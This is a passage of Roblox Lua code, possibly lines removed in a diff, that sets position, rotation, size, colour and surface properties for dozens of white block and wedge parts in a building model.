- Part22.CFrame = CFrame.new(-49.5902138, 8.34037495, 125.99807, -0.00775468862, -6.74084877e-05, 0.999963939, 0.00475055212, 0.999988735, 0.000104216793, -0.999950647, 0.00475121522, -0.00775363203)
- Part22.TopSurface = Enum.SurfaceType.Smooth
- Part22.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part22.Position = Vector3.new(-49.5902138, 8.34037495, 125.99807)
- Part22.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
- Part22.Color = Color3.new(0.94902, 0.952941, 0.952941)
- SpecialMesh23.Parent = Part22
- SpecialMesh23.MeshType = Enum.MeshType.Wedge
- Part24.Name = "Smooth Block Model"
- Part24.Parent = Model21
- Part24.BrickColor = BrickColor.new("White")
- Part24.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
- Part24.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part24.Velocity = Vector3.new(-0.7984761, -1.38712049, 14.5493574)
- Part24.Size = Vector3.new(1, 2.4000001, 1)
- Part24.CFrame = CFrame.new(-39.6406097, 2.97235489, 119.39518, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
- Part24.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part24.Position = Vector3.new(-39.6406097, 2.97235489, 119.39518)
- Part24.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
- Part24.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part25.Name = "Smooth Block Model"
- Part25.Parent = Model21
- Part25.BrickColor = BrickColor.new("White")
- Part25.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
- Part25.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part25.Velocity = Vector3.new(-0.299503148, -0.021796599, 14.3676777)
- Part25.Size = Vector3.new(8, 2.4000001, 13)
- Part25.CFrame = CFrame.new(-46.0708313, 6.52888298, 128.46225, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
- Part25.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part25.Position = Vector3.new(-46.0708313, 6.52888298, 128.46225)
- Part25.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
- Part25.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part26.Name = "Smooth Block Model"
- Part26.Parent = Model21
- Part26.BrickColor = BrickColor.new("White")
- Part26.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
- Part26.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part26.Velocity = Vector3.new(-0.478259712, -0.29052186, 14.8473902)
- Part26.CanCollide = false
- Part26.Size = Vector3.new(8, 2.4000001, 3)
- Part26.CFrame = CFrame.new(-46.0861168, 2.93842912, 126.445259, -0.999960184, -6.74177281e-05, -0.00775485486, -0.000104206258, 0.999988735, 0.00475054141, 0.00775339734, 0.00475120265, -0.999945641)
- Part26.BackSurface = Enum.SurfaceType.Weld
- Part26.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part26.Position = Vector3.new(-46.0861168, 2.93842912, 126.445259)
- Part26.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
- Part26.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part27.Name = "Smooth Block Model"
- Part27.Parent = Model21
- Part27.BrickColor = BrickColor.new("White")
- Part27.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
- Part27.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part27.Velocity = Vector3.new(0.0785052627, 1.04434216, 14.2898769)
- Part27.Size = Vector3.new(8, 1.20000005, 3)
- Part27.CFrame = CFrame.new(-46.008831, 7.09087038, 136.464691, -0.99996376, -6.74089242e-05, -0.00775469653, -0.000104216291, 0.999988735, 0.00475055166, 0.00775362086, 0.00475121476, -0.999950409)
- Part27.TopSurface = Enum.SurfaceType.Smooth
- Part27.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part27.Position = Vector3.new(-46.008831, 7.09087038, 136.464691)
- Part27.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
- Part27.Color = Color3.new(0.94902, 0.952941, 0.952941)
- SpecialMesh28.Parent = Part27
- SpecialMesh28.MeshType = Enum.MeshType.Wedge
- Part29.Name = "Smooth Block Model"
- Part29.Parent = Model21
- Part29.BrickColor = BrickColor.new("White")
- Part29.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
- Part29.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part29.Velocity = Vector3.new(0.184230506, 1.35490179, 14.2913895)
- Part29.Size = Vector3.new(1, 1.20000005, 3)
- Part29.CFrame = CFrame.new(-42.4856148, 5.8769908, 139.431702, -0.999964118, -6.74080511e-05, -0.0077546807, -0.000104217295, 0.999988735, 0.00475055259, 0.00775364321, 0.00475121569, -0.999950886)
- Part29.TopSurface = Enum.SurfaceType.Smooth
- Part29.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part29.Position = Vector3.new(-42.4856148, 5.8769908, 139.431702)
- Part29.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
- Part29.Color = Color3.new(0.94902, 0.952941, 0.952941)
- SpecialMesh30.Parent = Part29
- SpecialMesh30.MeshType = Enum.MeshType.Wedge
- Part31.Name = "Smooth Block Model"
- Part31.Parent = Model21
- Part31.BrickColor = BrickColor.new("White")
- Part31.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
- Part31.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part31.Velocity = Vector3.new(-0.364712536, 0.0425226092, 14.8480921)
- Part31.Size = Vector3.new(2, 2.4000001, 14)
- Part31.CFrame = CFrame.new(-46.0667114, 2.92655301, 128.945099, -0.00775472028, -6.74102412e-05, 0.999963224, 0.00475054979, 0.999988735, 0.000104214785, -0.999949694, 0.00475121289, -0.00775358733)
- Part31.LeftSurface = Enum.SurfaceType.Weld
- Part31.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part31.Position = Vector3.new(-46.0667114, 2.92655301, 128.945099)
- Part31.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
- Part31.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part32.Name = "Smooth Block Model"
- Part32.Parent = Model21
- Part32.BrickColor = BrickColor.new("White")
- Part32.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
- Part32.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part32.Velocity = Vector3.new(-0.370319426, -0.442038894, 13.9674177)
- Part32.Size = Vector3.new(6, 1.20000005, 1)
- Part32.CFrame = CFrame.new(-42.5904694, 8.3411026, 125.943794, 0.00775468862, -6.74084877e-05, -0.999963939, -0.00475055212, 0.999988735, -0.000104216793, 0.999950647, 0.00475121522, 0.00775363203)
- Part32.TopSurface = Enum.SurfaceType.Smooth
- Part32.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part32.Position = Vector3.new(-42.5904694, 8.3411026, 125.943794)
- Part32.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
- Part32.Color = Color3.new(0.94902, 0.952941, 0.952941)
- SpecialMesh33.Parent = Part32
- SpecialMesh33.MeshType = Enum.MeshType.Wedge
- Part34.Name = "Smooth Block Model"
- Part34.Parent = Model21
- Part34.BrickColor = BrickColor.new("White")
- Part34.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
- Part34.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part34.Velocity = Vector3.new(-0.553568482, -0.493480206, 14.8806553)
- Part34.CanCollide = false
- Part34.Size = Vector3.new(3, 1.20000005, 1)
- Part34.CFrame = CFrame.new(-48.6015511, 3.54765773, 124.467613, -0.999959648, -6.73953255e-05, -0.00775434123, -0.000104178216, 0.999988735, 0.00475050695, 0.00775282644, 0.00475116819, -0.999944925)
- Part34.BackSurface = Enum.SurfaceType.Weld
- Part34.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part34.Position = Vector3.new(-48.6015511, 3.54765773, 124.467613)
- Part34.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
- Part34.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part35.Name = "Smooth Block Model"
- Part35.Parent = Model21
- Part35.BrickColor = BrickColor.new("White")
- Part35.Rotation = Vector3.new(0.769999981, -89.5199966, 0.5)
- Part35.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part35.Velocity = Vector3.new(-0.275333643, 0.176887929, 14.6082363)
- Part35.Size = Vector3.new(22, 1.20000005, 14)
- Part35.CFrame = CFrame.new(-46.0590744, 4.72177124, 129.953613, 0.00775467278, -6.74076146e-05, -0.999964297, -0.00475055305, 0.999988735, -0.000104217797, 0.999951124, 0.00475121615, 0.00775365438)
- Part35.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part35.Position = Vector3.new(-46.0590744, 4.72177124, 129.953613)
- Part35.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
- Part35.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part36.Name = "Smooth Block Model"
- Part36.Parent = Model21
- Part36.BrickColor = BrickColor.new("White")
- Part36.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
- Part36.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part36.Velocity = Vector3.new(-0.297574908, 0.117019653, 14.6181965)
- Part36.Size = Vector3.new(13, 2.4000001, 3)
- Part36.CFrame = CFrame.new(-51.5706329, 6.52831173, 128.504898, -0.0077546807, -6.74080511e-05, 0.999964118, 0.00475055259, 0.999988735, 0.000104217295, -0.999950886, 0.00475121569, -0.00775364321)
- Part36.TopSurface = Enum.SurfaceType.Smooth
- Part36.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part36.Position = Vector3.new(-51.5706329, 6.52831173, 128.504898)
- Part36.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
- Part36.Color = Color3.new(0.94902, 0.952941, 0.952941)
- SpecialMesh37.Parent = Part36
- SpecialMesh37.MeshType = Enum.MeshType.Wedge
- Part38.Name = "Smooth Block Model"
- Part38.Parent = Model21
- Part38.BrickColor = BrickColor.new("White")
- Part38.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
- Part38.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part38.Velocity = Vector3.new(-0.160322845, 0.642017663, 14.8493538)
- Part38.CanCollide = false
- Part38.Size = Vector3.new(8, 2.4000001, 3)
- Part38.CFrame = CFrame.new(-46.0318222, 2.90518284, 133.444916, 0.999958217, -6.74226176e-05, 0.00775494147, 0.000104200764, 0.999988735, -0.00475053536, -0.00775327487, 0.0047511952, 0.999943018)
- Part38.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part38.Position = Vector3.new(-46.0318222, 2.90518284, 133.444916)
- Part38.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
- Part38.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part39.Name = "Smooth Block Model"
- Part39.Parent = Model21
- Part39.BrickColor = BrickColor.new("White")
- Part39.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
- Part39.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part39.Velocity = Vector3.new(0.186685145, 1.5315783, 14.6102324)
- Part39.Size = Vector3.new(1, 1.20000005, 3)
- Part39.CFrame = CFrame.new(-49.4853592, 5.87626505, 139.485992, -0.999964118, -6.74080511e-05, -0.0077546807, -0.000104217295, 0.999988735, 0.00475055259, 0.00775364321, 0.00475121569, -0.999950886)
- Part39.TopSurface = Enum.SurfaceType.Smooth
- Part39.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part39.Position = Vector3.new(-49.4853592, 5.87626505, 139.485992)
- Part39.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
- Part39.Color = Color3.new(0.94902, 0.952941, 0.952941)
- SpecialMesh40.Parent = Part39
- SpecialMesh40.MeshType = Enum.MeshType.Wedge
- Part41.Name = "Smooth Block Model"
- Part41.Parent = Model21
- Part41.BrickColor = BrickColor.new("White")
- Part41.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
- Part41.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part41.Velocity = Vector3.new(-0.662859797, -1.08755779, 14.3654318)
- Part41.Size = Vector3.new(8, 2.4000001, 3)
- Part41.CFrame = CFrame.new(-46.1328697, 6.56688595, 120.462631, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
- Part41.TopSurface = Enum.SurfaceType.Smooth
- Part41.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part41.Position = Vector3.new(-46.1328697, 6.56688595, 120.462631)
- Part41.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
- Part41.Color = Color3.new(0.94902, 0.952941, 0.952941)
- SpecialMesh42.Parent = Part41
- SpecialMesh42.MeshType = Enum.MeshType.Wedge
- Part43.Name = "Smooth Block Model"
- Part43.Parent = Model21
- Part43.BrickColor = BrickColor.new("White")
- Part43.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
- Part43.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part43.Velocity = Vector3.new(0.185457885, 1.44324017, 14.4508104)
- Part43.Size = Vector3.new(4, 1.20000005, 3)
- Part43.CFrame = CFrame.new(-45.9854851, 5.87662983, 139.458847, -0.999964118, -6.74080511e-05, -0.0077546807, -0.000104217295, 0.999988735, 0.00475055259, 0.00775364321, 0.00475121569, -0.999950886)
- Part43.TopSurface = Enum.SurfaceType.Smooth
- Part43.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part43.Position = Vector3.new(-45.9854851, 5.87662983, 139.458847)
- Part43.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
- Part43.Color = Color3.new(0.94902, 0.952941, 0.952941)
- SpecialMesh44.Parent = Part43
- SpecialMesh44.MeshType = Enum.MeshType.Wedge
- Part45.Name = "Smooth Block Model"
- Part45.Parent = Model21
- Part45.BrickColor = BrickColor.new("White")
- Part45.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
- Part45.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part45.Velocity = Vector3.new(0.155333877, 1.41049933, 14.5552521)
- Part45.Size = Vector3.new(1, 2.4000001, 1)
- Part45.CFrame = CFrame.new(-39.4777756, 2.87259507, 140.39415, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
- Part45.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part45.Position = Vector3.new(-39.4777756, 2.87259507, 140.39415)
- Part45.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
- Part45.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part46.Name = "Smooth Block Model"
- Part46.Parent = Model21
- Part46.BrickColor = BrickColor.new("White")
- Part46.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
- Part46.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part46.Velocity = Vector3.new(0.172265053, 1.57493377, 14.7712736)
- Part46.Size = Vector3.new(1, 1.20000005, 8)
- Part46.CFrame = CFrame.new(-45.9775696, 3.4719131, 140.447388, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
- Part46.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part46.Position = Vector3.new(-45.9775696, 3.4719131, 140.447388)
- Part46.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
- Part46.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part47.Name = "Smooth Block Model"
- Part47.Parent = Model21
- Part47.BrickColor = BrickColor.new("White")
- Part47.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
- Part47.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part47.Velocity = Vector3.new(-0.301431358, -0.160612941, 14.1171579)
- Part47.Size = Vector3.new(13, 2.4000001, 3)
- Part47.CFrame = CFrame.new(-40.5710258, 6.52945471, 128.419601, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
- Part47.TopSurface = Enum.SurfaceType.Smooth
- Part47.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part47.Position = Vector3.new(-40.5710258, 6.52945471, 128.419601)
- Part47.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
- Part47.Color = Color3.new(0.94902, 0.952941, 0.952941)
- SpecialMesh48.Parent = Part47
- SpecialMesh48.MeshType = Enum.MeshType.Wedge
- Part49.Name = "Smooth Block Model"
- Part49.Parent = Model21
- Part49.BrickColor = BrickColor.new("White")
- Part49.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
- Part49.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part49.Velocity = Vector3.new(-0.0539558008, 0.971932828, 14.8837423)
- Part49.CanCollide = false
- Part49.Size = Vector3.new(3, 1.20000005, 1)
- Part49.CFrame = CFrame.new(-48.5162392, 3.4954052, 135.467026, 0.999961436, -6.74146722e-05, 0.00775479898, 0.000104209779, 0.999988735, -0.00475054514, -0.00775347557, 0.00475120638, 0.999947309)
- Part49.BackSurface = Enum.SurfaceType.Weld
- Part49.BottomSurface = Enum.SurfaceType.Smooth
- Part49.FrontSurface = Enum.SurfaceType.Weld
- Part49.RightSurface = Enum.SurfaceType.Weld
- Part49.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part49.Position = Vector3.new(-48.5162392, 3.4954052, 135.467026)
- Part49.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
- Part49.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part50.Name = "Smooth Block Model"
- Part50.Parent = Model21
- Part50.BrickColor = BrickColor.new("White")
- Part50.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
- Part50.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part50.Velocity = Vector3.new(-0.0557077006, 0.845738649, 14.6559963)
- Part50.CanCollide = false
- Part50.Size = Vector3.new(3, 1.20000005, 1)
- Part50.CFrame = CFrame.new(-43.5164413, 3.49594164, 135.428268, 0.99995929, -6.74199691e-05, 0.00775489397, 0.000104203769, 0.999988735, -0.00475053862, -0.00775334192, 0.00475119893, 0.999944448)
- Part50.BackSurface = Enum.SurfaceType.Weld
- Part50.BottomSurface = Enum.SurfaceType.Smooth
- Part50.FrontSurface = Enum.SurfaceType.Weld
- Part50.LeftSurface = Enum.SurfaceType.Weld
- Part50.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part50.Position = Vector3.new(-43.5164413, 3.49594164, 135.428268)
- Part50.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
- Part50.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part51.Name = "Smooth Block Model"
- Part51.Parent = Model21
- Part51.BrickColor = BrickColor.new("White")
- Part51.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
- Part51.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part51.Velocity = Vector3.new(0.112192824, 1.44133377, 14.8510389)
- Part51.Size = Vector3.new(1, 2.4000001, 14)
- Part51.CFrame = CFrame.new(-45.9852829, 2.87666798, 139.444595, 0.00775470445, -6.74093753e-05, -0.999963582, -0.00475055119, 0.999988735, -0.000104215789, 0.999950171, 0.00475121383, 0.00775360968)
- Part51.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part51.Position = Vector3.new(-45.9852829, 2.87666798, 139.444595)
- Part51.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
- Part51.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part52.Name = "Smooth Block Model"
- Part52.Parent = Model21
- Part52.BrickColor = BrickColor.new("White")
- Part52.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
- Part52.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part52.Velocity = Vector3.new(-0.164705127, 0.245787159, 14.1281023)
- Part52.Size = Vector3.new(6, 1.20000005, 3)
- Part52.CFrame = CFrame.new(-46.0554428, 8.31935596, 130.470703, -0.999963939, -6.74084877e-05, -0.00775468862, -0.000104216793, 0.999988735, 0.00475055212, 0.00775363203, 0.00475121522, -0.999950647)
- Part52.TopSurface = Enum.SurfaceType.Smooth
- Part52.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part52.Position = Vector3.new(-46.0554428, 8.31935596, 130.470703)
- Part52.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
- Part52.Color = Color3.new(0.94902, 0.952941, 0.952941)
- SpecialMesh53.Parent = Part52
- SpecialMesh53.MeshType = Enum.MeshType.Wedge
- Part54.Name = "Smooth Block Model"
- Part54.Parent = Model21
- Part54.BrickColor = BrickColor.new("White")
- Part54.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
- Part54.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part54.Velocity = Vector3.new(-0.369093299, -0.353703618, 14.1268396)
- Part54.Size = Vector3.new(6, 1.20000005, 6)
- Part54.CFrame = CFrame.new(-46.0903397, 8.34073353, 125.970917, 0.999963939, -6.74084877e-05, 0.00775468862, 0.000104216793, 0.999988735, -0.00475055212, -0.00775363203, 0.00475121522, 0.999950647)
- Part54.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part54.Position = Vector3.new(-46.0903397, 8.34073353, 125.970917)
- Part54.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
- Part54.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part55.Name = "Smooth Block Model"
- Part55.Parent = Model21
- Part55.BrickColor = BrickColor.new("White")
- Part55.Rotation = Vector3.new(0.769999981, -89.4799957, 0.5)
- Part55.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part55.Velocity = Vector3.new(-0.0548307784, 0.908837438, 14.7698669)
- Part55.Size = Vector3.new(1, 1.20000005, 2)
- Part55.CFrame = CFrame.new(-46.0163269, 3.49568486, 135.447662, 0.00775436684, -6.73966642e-05, -0.99995929, -0.00475050509, 0.999988735, -0.0001041777, 0.999944448, 0.0047511654, 0.0077528148)
- Part55.BottomSurface = Enum.SurfaceType.Hinge
- Part55.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part55.Position = Vector3.new(-46.0163269, 3.49568486, 135.447662)
- Part55.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
- Part55.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part56.Name = "Smooth Block Model"
- Part56.Parent = Model21
- Part56.BrickColor = BrickColor.new("White")
- Part56.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
- Part56.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part56.Velocity = Vector3.new(0.159890562, 1.73860741, 15.1473885)
- Part56.Size = Vector3.new(1, 2.4000001, 1)
- Part56.CFrame = CFrame.new(-52.4772987, 2.87124395, 140.494934, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
- Part56.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part56.Position = Vector3.new(-52.4772987, 2.87124395, 140.494934)
- Part56.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
- Part56.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part57.Name = "Smooth Block Model"
- Part57.Parent = Model21
- Part57.BrickColor = BrickColor.new("White")
- Part57.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
- Part57.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part57.Velocity = Vector3.new(-0.781544685, -1.22268438, 14.7653809)
- Part57.Size = Vector3.new(1, 1.20000005, 8)
- Part57.CFrame = CFrame.new(-46.1404266, 3.57167077, 119.448425, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
- Part57.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part57.Position = Vector3.new(-46.1404266, 3.57167077, 119.448425)
- Part57.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
- Part57.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part58.Name = "Smooth Block Model"
- Part58.Parent = Model21
- Part58.BrickColor = BrickColor.new("White")
- Part58.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
- Part58.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part58.Velocity = Vector3.new(0.0213533938, 1.17489302, 14.8504782)
- Part58.CanCollide = false
- Part58.Size = Vector3.new(8, 2.4000001, 3)
- Part58.CFrame = CFrame.new(-46.0007973, 2.88616538, 137.444687, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
- Part58.BackSurface = Enum.SurfaceType.Weld
- Part58.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part58.Position = Vector3.new(-46.0007973, 2.88616538, 137.444687)
- Part58.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
- Part58.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part59.Name = "Smooth Block Model"
- Part59.Parent = Model21
- Part59.BrickColor = BrickColor.new("White")
- Part59.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
- Part59.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part59.Velocity = Vector3.new(-0.273873299, 0.308963478, 14.8486538)
- Part59.Size = Vector3.new(2, 2.4000001, 14)
- Part59.CFrame = CFrame.new(-46.0512047, 2.91704798, 130.945007, 0.00775470445, -6.74093681e-05, -0.999963582, -0.00475055072, 0.999988735, -0.000104215789, 0.999950171, 0.00475121383, 0.00775360968)
- Part59.LeftSurface = Enum.SurfaceType.Weld
- Part59.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part59.Position = Vector3.new(-46.0512047, 2.91704798, 130.945007)
- Part59.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
- Part59.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part60.Name = "Smooth Block Model"
- Part60.Parent = Model21
- Part60.BrickColor = BrickColor.new("White")
- Part60.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
- Part60.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part60.Velocity = Vector3.new(-0.659936845, -0.823398829, 14.8462677)
- Part60.CanCollide = false
- Part60.Size = Vector3.new(8, 2.4000001, 3)
- Part60.CFrame = CFrame.new(-46.1171188, 2.95742369, 122.44548, -0.999961078, -6.73918184e-05, -0.0077542779, -0.00010418224, 0.999988735, 0.00475051068, 0.00775291584, 0.00475117238, -0.999946833)
- Part60.BackSurface = Enum.SurfaceType.Weld
- Part60.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part60.Position = Vector3.new(-46.1171188, 2.95742369, 122.44548)
- Part60.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
- Part60.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part61.Name = "Smooth Block Model"
- Part61.Parent = Model21
- Part61.BrickColor = BrickColor.new("White")
- Part61.Rotation = Vector3.new(-179.229996, 89.4799957, 179.5)
- Part61.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part61.Velocity = Vector3.new(-0.554445386, -0.556578994, 14.7667847)
- Part61.Size = Vector3.new(1, 1.20000005, 2)
- Part61.CFrame = CFrame.new(-46.1016655, 3.54791427, 124.448219, -0.00775489444, -6.74199255e-05, 0.99995929, 0.00475053908, 0.999988735, 0.000104203747, -0.999944448, 0.00475119986, -0.00775334146)
- Part61.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part61.Position = Vector3.new(-46.1016655, 3.54791427, 124.448219)
- Part61.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
- Part61.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part62.Name = "Smooth Block Model"
- Part62.Parent = Model21
- Part62.BrickColor = BrickColor.new("White")
- Part62.Rotation = Vector3.new(-179.229996, 89.4700012, 179.5)
- Part62.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part62.Velocity = Vector3.new(-0.750778496, -1.08984661, 14.845706)
- Part62.Size = Vector3.new(1, 2.4000001, 14)
- Part62.CFrame = CFrame.new(-46.1326332, 2.96692896, 120.445518, -0.00775497453, -6.74243638e-05, 0.999957502, 0.00475053303, 0.999988735, 0.000104198749, -0.999942064, 0.0047511938, -0.00775323017)
- Part62.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part62.Position = Vector3.new(-46.1326332, 2.96692896, 120.445518)
- Part62.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
- Part62.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part63.Name = "Smooth Block Model"
- Part63.Parent = Model21
- Part63.BrickColor = BrickColor.new("White")
- Part63.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
- Part63.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
